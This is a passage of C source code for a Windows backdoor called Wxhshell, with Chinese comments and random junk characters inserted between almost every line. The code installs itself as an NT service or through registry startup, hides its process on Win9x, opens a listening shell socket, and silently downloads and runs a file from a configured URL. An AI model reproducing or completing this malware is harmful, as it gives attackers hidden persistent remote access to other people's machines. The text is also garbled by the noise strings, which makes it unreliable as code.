@- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DWcEl: if(hProcess==NULL) return 0; Gkz~xQy1T -
xQJY) HMODULE hMod; &z%DX
char procName[255]; 0xpE+GY unsigned long cbNeeded; q=_tjg %y R~dt' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zq4)Uab* k"J=CDP\ CloseHandle(hProcess); =\)qUs\z 7G9o%!D5 if(strstr(procName,"services")) return 1; // 以服务启动 c4xXsUBQk A.(xa+z? return 0; // 注册表启动 LJmRa } IC@-`S#F Z*lZl8(` // 主模块 2 [yfo8H int StartWxhshell(LPSTR lpCmdLine) mKhlYVn { h!~u^Z.7< SOCKET wsl; &*!) d" BOOL val=TRUE; 5=9gH int port=0; J5*( PxDF struct sockaddr_in door; (vr
v-4 \>(S?)6 if(wscfg.ws_autoins) Install(); 7;H P_oAu S9@)4|3C|p port=atoi(lpCmdLine); s14; \ XyE%<] if(port<=0) port=wscfg.ws_port; EPL"H:o5%< HLp'^ WSADATA data; _U/C G<n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rc)vVv J-+p]xG if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iXFN|ml setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q>[GD(8k door.sin_family = AF_INET; %2`geN< door.sin_addr.s_addr = inet_addr("127.0.0.1"); wNhtw'E8 door.sin_port = htons(port); l?swW+x\ #J)83 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
h@"u==0 closesocket(wsl); zwpgf return 1; a]8}zSUK } {1]/ok2k5 T^n0 =| if(listen(wsl,2) == INVALID_SOCKET) { ?^W`7H F%0 closesocket(wsl); 0w<qj T^U return 1; xlU:&=| } =}Xw}X+[WY Wxhshell(wsl); xyc`p[n& WSACleanup(); 29GcNiE`T k4Ub+F return 0; H`X>
TWAt)Q"J } iH[ .u{h #ZvDf5A // 以NT服务方式启动 T*8rR" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uv"O'Z { @8xa"Dc DWORD status = 0; W!
q-WU DWORD specificError = 0xfffffff; 8.R~Ys* u+/1ryp serviceStatus.dwServiceType = SERVICE_WIN32; sFWH*kdP? serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,I|Tj C5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YsXf+_._ serviceStatus.dwWin32ExitCode = 0; r>gU*bs( serviceStatus.dwServiceSpecificExitCode = 0; (jB_uMuS serviceStatus.dwCheckPoint = 0; NY!"?Zko serviceStatus.dwWaitHint = 0; ,.T k"\@ [n{c, U
F hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
*^b<CZd9 if (hServiceStatusHandle==0) return; ;fnE"} "=ogO/_Q" status = GetLastError(); 8{iFxTz if (status!=NO_ERROR) { WW!P,w { 3D/<R|p serviceStatus.dwCurrentState = SERVICE_STOPPED; H`028^CH$ serviceStatus.dwCheckPoint = 0; )>~d`_$dt serviceStatus.dwWaitHint = 0; ( [m[< serviceStatus.dwWin32ExitCode = status; )/2J|LxS serviceStatus.dwServiceSpecificExitCode = specificError; 2or!v^^u SetServiceStatus(hServiceStatusHandle, &serviceStatus); lf%Ju$H
return; |g}~7*+i } #X?#v7i",D m? #J`?E serviceStatus.dwCurrentState = SERVICE_RUNNING; SF2< serviceStatus.dwCheckPoint = 0; *)4`"D serviceStatus.dwWaitHint = 0; voAen&>! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s@c.nT%BYL } ); <Le6 fPLi8`r // 处理NT服务事件,比如:启动、停止 _onEXrM VOID WINAPI NTServiceHandler(DWORD fdwControl) ]t|- { xIh,UW# switch(fdwControl) T nG=X:+= { Kgw_c:/' case SERVICE_CONTROL_STOP: K!a4>Du{ serviceStatus.dwWin32ExitCode = 0; xp<p(y8e1d serviceStatus.dwCurrentState = SERVICE_STOPPED; DeTD.)pS serviceStatus.dwCheckPoint = 0; 2%F!aeX serviceStatus.dwWaitHint = 0; ~'aK[3 { :P1/kYg SetServiceStatus(hServiceStatusHandle, &serviceStatus); !tL&Ktoj } ehCZhi~ return; uk)6% case SERVICE_CONTROL_PAUSE: =u^{Jvl[ serviceStatus.dwCurrentState = SERVICE_PAUSED; Sd0y=!Pj= break; v%6mH6V case SERVICE_CONTROL_CONTINUE: :n t\uwh serviceStatus.dwCurrentState = SERVICE_RUNNING; g9$P J: break; hy?e?^ case SERVICE_CONTROL_INTERROGATE: -WX{y Ci break; ?6[X=GeUs }; c3NUJ~>=y SetServiceStatus(hServiceStatusHandle, &serviceStatus); p0S;$dH\D } C@8WY qIIl,!&}A // 标准应用程序主函数 +@c-:\K% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DoYzTSWx { LG
qg0( Hlg Q0qb // 获取操作系统版本 a' pJg< OsIsNt=GetOsVer(); S@'yuAe*G GetModuleFileName(NULL,ExeFile,MAX_PATH); ^s=p'&6 4:Bpz;x // 从命令行安装 ~>]/1JFz if(strpbrk(lpCmdLine,"iI")) Install(); WKwU:im m{)F9F // 下载执行文件 \HsrUZ~ if(wscfg.ws_downexe) { [,1\>z|& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0,x<@.pW WinExec(wscfg.ws_filenam,SW_HIDE); Ea7LPHE# } 4xE [S STxreW1 if(!OsIsNt) { (Z72 3) // 如果时win9x,隐藏进程并且设置为注册表启动 AX= 4{b' HideProc(); TT0~41&l StartWxhshell(lpCmdLine); 1-=zSWmyK } 1*>lYd8_ else DE^ @b+6 if(StartFromService()) \?X'U: // 以服务方式启动 &xGcxFd StartServiceCtrlDispatcher(DispatchTable); Q41eYzAi else Nhm)bdv] // 普通方式启动 YdI&OzaroE StartWxhshell(lpCmdLine); ]1XJQW@gF H)${" return 0; IO4 8sV } }
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